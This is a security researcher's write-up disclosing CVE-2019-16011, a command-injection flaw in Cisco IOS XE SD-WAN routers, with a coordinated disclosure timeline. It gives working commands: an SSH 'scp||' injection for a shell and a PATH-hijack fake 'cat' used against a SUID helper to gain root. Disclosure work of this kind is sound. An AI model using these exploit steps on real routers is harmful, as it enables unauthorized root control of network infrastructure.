Pentesting Cisco SD-WAN Part 2: Breaking routers
If you missed the first part, go read it first: Part 1
In this second article, we will focus on the vEdge components which are basically routers (physical or virtual). A patch was recently published for a vulnerability we found:
- CVE-2019-16011: Cisco IOS XE SD-WAN Software Command Injection Vulnerability
Once the vManage component is compromised, it is possible to do almost anything you want on managed equipments. But what if we want to modify the managed components without breaking the whole system?
On the compromised vManage, it is possible to extract credentials (either passwords or SSH private keys) to interact with the vEdge components through SSH.
For this research, we had access to 2 different routers:
- ISR4300 (x64)
- C1111X-8P (aarch64)
Command injection like in the 90's
When reviewing the firmwares, we found something odd about the scp command management. So we tried to execute the scp through ssh with an additional command:
$ ssh -p 830 admin@10.66.66.100 "scp||id"
admin@10.66.66.100's password:
uid=85(binos) gid=85(bprocs) groups=85(bprocs),4(tty)
usage: scp [-12346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
[-l limit] [-o ssh_option] [-P port] [-S program]
[[user@]host1:]file1 ... [[user@]host2:]file2
Oopsie, it looks like a command injection...
Let's try to understand what just happened.
NETCONF is available through SSH to view and edit the device configuration. The SSH server is listening on TCP port 830:
bash-4.2$ ps auxwww | grep ssh
root 29344 0.0 0.1 34764 15620 ? S Aug20 0:32 /tmp/sw/rp/0/0/rp_security/mount/usr/binos/sbin/ncsshd -D -f /tmp/chassis/local/rp/chasfs/rp/0/0/etc/ncsshd/ncsshd_mgmt_persistent.conf -o pidfile=/var/run/ncsshd_mgmt.pid -V 2 -V 16 -V 1
The configuration file sets a ForceCommand directive:
bash-4.2$ cat /tmp/chassis/local/rp/chasfs/rp/0/0/etc/ncsshd/ncsshd_mgmt_persistent.conf
Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
MACs hmac-sha2-256,hmac-sha2-512,hmac-sha1
[...]
Subsystem netconf /bin/mcp_pkg_wrap rp_base /usr/binos/conf/netconf-subsys.sh
# IMPORTANT: This config needs to be set to disable shell and other commands
ForceCommand /bin/mcp_pkg_wrap rp_base /usr/binos/conf/netconf-subsys.sh
However, the script /bin/mcp_pkg_wrap is using eval on the command provided by the user (SSH_ORIGINAL_COMMAND) if the command starts with scp:
bash-4.2$ cat /bin/mcp_pkg_wrap
#! /bin/bash
#
# Wrapper to permit non-BASE components to run normally, by exporting
# their parent package's libraries into their library path.
#
# August 2006, Dan Martinez
# Copyright (c) 2006-2007,2015-2016, 2017 by Cisco Systems, Inc.
# All rights reserved.
#
source /common
source ${SW_ROOT}/boot/rmonbifo/env_var.sh
source /usr/binos/conf/package_boot_info.sh
# Allow scp
if [[ $SSH_ORIGINAL_COMMAND == scp* && $2 = *"netconf-subsys.sh" ]]; then
eval ${SSH_ORIGINAL_COMMAND}
exit
fi
[...]
Let's pop a real shell now, shall we?
$ ssh -p 830 admin@10.66.66.100 "scp 2>/dev/null|| /bin/bash -i"
admin@10.66.66.100's password:
bash: no job control in this shell
bash-4.2$ id
uid=85(binos) gid=85(bprocs) groups=85(bprocs),4(tty)
Gaining root privileges
Using the interactive shell, it is possible to search SUID binaries on both available routers:
- ISR4300:
bash-4.2$ find / -xdev -perm -4000 2>/dev/null
/tmp/etc/bexecute
/tmp/sw/mount/isr4300-mono-ucmk9.16.10.2.SPA.pkg/usr/binos/bin/bexecute
/tmp/sw/mount/isr4300-mono-ucmk9.16.10.2.SPA.pkg/usr/sbin/viptela_cli
- C1111X-8P:
bash-4.2$ find / -xdev -perm -4000 2>/dev/null
/tmp/etc/bexecute
/tmp/sw/mount/c1100-mono-ucmk9.16.10.2.SPA.pkg/usr/binos/bin/bexecute
/tmp/sw/mount/c1100-mono-ucmk9.16.10.2.SPA.pkg/usr/sbin/viptela_cli
/bin/ping
Let's take a closer look at /tmp/etc/bexecute:
$ ls -l /tmp/etc/bexecute
-rwsr-sr-x 1 root root 51288 Aug 20 08:02 /tmp/etc/bexecute
This program takes a script path in option -c. This script path is checked against a whitelist of scripts contained in /usr/binos/conf/uicmd.conf. For instance the script /usr/binos/conf/install_show.sh can be executed to read files as root:
$ /tmp/etc/bexecute -c "/usr/binos/conf/install_show.sh --command display_file_contents --filename /proc/self/status"
Name: cat
State: R (running)
Tgid: 32498
Ngid: 0
Pid: 32498
PPid: 32344
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
[...]
The command display_file_contents is very simple:
function display_file_contents () {
cat $filename
}
However, cat is called without the full path. It is therefore possible to change the PATH environment variable to call an malicious cat program.
It is now possible to craft and use a malicious cat program to gain root privileges:
bash-4.2$ id
uid=85(binos) gid=85(bprocs) groups=85(bprocs),4(tty)
bash-4.2$ echo -e '#!/bin/bash\n/bin/bash -i 1>&2' > /tmp/mypath/cat
bash-4.2$ chmod +x /tmp/mypath/cat
bash-4.2$ export PATH=/tmp/mypath/:$PATH
bash-4.2$ /tmp/etc/bexecute -c "/usr/binos/conf/install_show.sh --command display_file_contents --filename nope"
bash: no job control in this shell
bash-4.2# id
uid=0(root) gid=0(root) groups=0(root)
The allowed scripts list is quite long and may contain other vulnerabilities that could also lead to a privilege escalation.
Conclusion
The SD-WAN solutions aims to ease the network equipments managements but it also eases attacks on them. Indeed, the credentials collected on vManage can be abused to backdoor network equipments by interacting as root with the full system.
Also, such management ports should not be exposed on regular VLAN. If you set up such solution, make sure these services are only reachable from within the management VPN.
Timeline
- 23/09/2019: Vulnerabilities details sent to psirt@cisco.com
- 25/09/2019: Reply from Cisco
- 30/09/2019: Agreed on 90 days before disclosure
- 22/10/2019: Cisco asked to delay the disclosure to mid or late January 2020
- 09/01/2020: Cisco asked for additional 90 days delay
- 10/01/2020: Agreed for additional 60 days delay
- 18/03/2020: Cisco postponed the fix release to April
- 29/04/2020: Security advisory CSCvs75505 and Cisco IOS XE SD-WAN Software version 17.2.1r released